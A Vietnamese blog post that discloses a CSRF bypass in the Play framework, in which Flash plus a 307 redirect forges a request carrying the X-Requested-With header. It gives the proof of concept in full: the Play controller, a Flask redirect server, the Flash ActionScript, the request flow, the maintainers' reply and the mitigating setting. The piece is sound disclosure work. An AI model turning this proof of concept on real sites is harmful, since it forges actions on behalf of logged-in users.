Play framework – CSRF Protection

Hi. Bắt đầu post bài blog đầu tiên.

Cách đây cũng lâu mình mình định học ngôn ngữ lập trình Scala, đại loại nó là một ngôn ngữ lập trình hàm, khá khó hiểu, vì nó là một tư duy lập trình mới. Giống như mình vừa đang lập trình cấu trúc C chuyển sang lập trình hướng đối tượng Java. Đến giờ vẫn chưa hiểu rõ lập trình hàm gì luôn.  Nguyên nhân muốn học vì ông chuyên gia này bảo thế http://norvig.com/21-days.html và mình cũng thích học linh tinh. Sau đó thì đi tìm hiểu một số project web có sử dụng scala, và biết được có một web framework xây dựng dựa trên scala là play framework. Ngồi setup một hồi thì cũng dưng được ứng dụng web hello world. Sau đó thì ngồi đọc documentation. Theo quán tính thì mình chỉ chú ý nhiều đến phần security, cơ bản cũng không muốn đi tìm hiểu sâu framework, ngôn ngữ lập trình chưa thạo thì khó mà đi sâu được vào framework.

Hầu hết các framework bây giờ đều có cơ chế chống lỗi phổ biến như SQL Injection, XSS, CSRF,… Tuy nhiên vẫn cần hiểu rõ framework làm như nào để có thể sử dụng đúng. Mình có đọc đến phần chống CSRF https://www.playframework.com/documentation/2.2.x/ScalaCsrf, thì phát hiện thấy một điểm lưu ý, nó cài đặt một cơ chế chống CSRF yếu, mục đích là làm đơn giản hóa việc chống tấn công CSRF cho AJAX request. Cách làm dựa trên Same Origin Policy của trình duyệt. Cụ thể nếu request gửi lên có chứa header “X-Requested-With” thì nó luôn luôn coi request là hợp lệ mà không cần phải kiểm tra token gì cả. Nguyên nhân vì javascript khi gửi request ajax, chỉ cùng origin mới được phép thêm header, nếu gửi cross-origin thì không thể. Tuy nhiên cách làm này không đúng trong trường hợp đặc biệt của flash. Trước đây Ruby-on-Rails cũng sử dụng cách chống này, và người ta đã public kĩ thuật tấn công như này:

Cách làm là lợi dụng flash gửi một request có chứa header “X-Requested-With” thông qua redirect mã 307. Kĩ thuật chi tiết đọc blog phía trên, họ nói rất rõ ràng rồi. Mình chỉ đọc và áp dụng lại cho trường hợp Play framework thôi. Điều lạ là mình nhớ có lần đọc ở đâu, người ta viết là flash đã fix cái lỗi này lâu rồi. Nhưng chả hiểu sao mình dựng thử ứng dụng để test lại thì thấy chưa fix. Không biết có nhầm lẫn ở đâu không nữa. Khó hiểu!

Case mà mình dựng để test như sau (sử dụng chrome phiên bản mới nhất, hai tên miền victim.com và attacker.com sửa file hosts để giả lập):

1. Trang victim:  victim.com:9000 (Play project with enable CSRF Protection)
Trang victim có chức năng hiển thị form và submit form. Chức năng submit form có bật tính năng kiểm tra csrf token mặc định của Play framework.
Mã nguồn Play controller file:

case class UserData(name: String, age: Int)</code>

object Global extends WithFilters(CSRFFilter()) with GlobalSettings {
    // ... onStart, onStop etc
}

class Application extends Controller {

  val userForm = Form(
    mapping(
      "name" -> nonEmptyText,
      "age" -> number(min = 0, max = 100))
    (UserData.apply)(UserData.unapply)
  )

  def index = CSRFAddToken {
    Action {implicit request =>
      Ok(views.html.user(userForm))
      //Ok("token " + token)
    }
  }

  def submit = CSRFCheck {
    Action { implicit request =>
    userForm.bindFromRequest.fold(
      formWithErrors => BadRequest(views.html.user(formWithErrors)),
      userData => Ok("Hello " + userData.name + ", age " + userData.age)
    )}
  }
}

2. Trang attacker: attacker.com:8080 (Python Flask project: Flash + 307 redirect)
Trang attacker có đặt sẵn trang index.html, trang index.html sẽ load file flash TestCSRF.swf, file TestCSRF.swf khi chạy sẽ gửi request post tới http://attacker.com:8080/redirect307. Request /redirect307 sẽ được Flask xử lý trả về mã 307, tức là redirect và kèm theo postdata; cụ thể redirect sang trang http://victim.com:9000/submit . Điểm quan trọng ở đây là khi flash redirect sang http://victim.com:9000/submit, nó là cross-domain request, flash sẽ gửi request http://victim.com:9000/crossdomain.xml để kiểm tra xem trang attacker.com có được phép gửi request sang victim.com hay không. Tuy nhiên request redirect submit lại được thực hiện trước khi request crossdomain trả về :))

Mã nguồn web Flask python:

from flask import *
app = Flask(__name__, static_url_path='', static_folder='')
app.debug=True

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/crossdomain.xml')
def crossdomain():
    return app.send_static_file('crossdomain.xml')

@app.route('/redirect307', methods=["POST"])
def redirect307():
    return redirect("http://victim.com:9000/submit", code=307)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

Mã nguồn file Flash:

public class Main extends Sprite
{
   public function Main()
   {
       if (stage) init();
       else addEventListener(Event.ADDED_TO_STAGE, init);

       visitSite();
   }

   private function init(e:Event = null):void
   {
       removeEventListener(Event.ADDED_TO_STAGE, init);
       // entry point
   }

   private function visitSite():void {
       var url:String = "http://attacker.com:8080/redirect307";
       var request:URLRequest = new URLRequest(url);
       var requestVars:URLVariables = new URLVariables();
       requestVars.name = "rskvp93@gmail.com";
       requestVars.age = "23";
       request.data = requestVars;
       request.method = URLRequestMethod.POST;

       var urlLoader:URLLoader = new URLLoader();
       urlLoader = new URLLoader();
       urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
       urlLoader.addEventListener(Event.COMPLETE, loaderCompleteHandler, false, 0, true);
       urlLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler, false, 0, true);
       urlLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler, false, 0, true);
       urlLoader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler, false, 0, true);
       for (var prop:String in requestVars) {
           trace("Sent: " + prop + " is: " + requestVars[prop]);
       }
       try {
           urlLoader.load(request);
       } catch (e:Error) {
           trace(e);
       }
    }

    private function loaderCompleteHandler(e:Event):void {
        var responseVars:URLVariables = URLVariables( e.target.data );
        trace( "responseVars: " + responseVars );
    }

    private function httpStatusHandler( e:HTTPStatusEvent ):void {
        //trace("httpStatusHandler:" + e);
    }

    private function securityErrorHandler( e:SecurityErrorEvent ):void {
        trace("securityErrorHandler:" + e);
    }

    private function ioErrorHandler( e:IOErrorEvent ):void {
        //trace("ORNLoader:ioErrorHandler: " + e);
        dispatchEvent( e );
    }
}

Luồng request sẽ là như sau:
1. Victim truy cập http://attacker.com:8080/
2. Chrome requests http://attacker.com:8080/
3. Chrome requests http://attacker.com:8080/TestCSRF.swf
4. SWF requests http://attacker.com:8080/crossdomain.xml
5. SWF requests http://attacker.com:8080/redirect307 (issues 307 redirect to post http://victim.com:9000/submit)
6. SWF requests http://victim.com:9000/submit(including the X-Requested-With header and post data)
7. SWF requests https://victim.com:9000/crossdomain.xml
(404 not found but victim acttually pwned)

Ảnh minh họa sau trên trình duyệt:

POC
Ảnh minh họa

Mình có gửi report lỗi đến cho đội phát triển của Play framework. Họ trả lời như dưới đây, cũng có thể là mình test nhầm hoặc làm sai ở chỗ nào đó nhưng kệ nó vẫn là một kĩ thuật khai thác hay đáng để thử:

What version of Flash are you using?  As I understand it, this is a vulnerability in Flash, where Flash is violating the Same Origin Policy. Flash has, to my understanding, been fixed.

Note that the Play CSRF filter does offer configuration options to allow it to operate in a mode that will work around other products vulnerabilities, such as this Flash vulnerability, by turning off the header bypass option:

play.filters.csrf.header.bypass = false

With this configured, the X-Requested-With header will not bypass the check.  Users who want to future proof themselves against new vulnerabilities of this type found in browsers or browser plugins can enable this option.

Mã nguồn các project đi kèm, ai rảnh có thể verify lại giúp mình thì tốt.
1. File report lỗi : advisory

2. Flash + Python : TestCSRF

3. Play project: my-first-app

Leave a Reply

Your email address will not be published. Required fields are marked *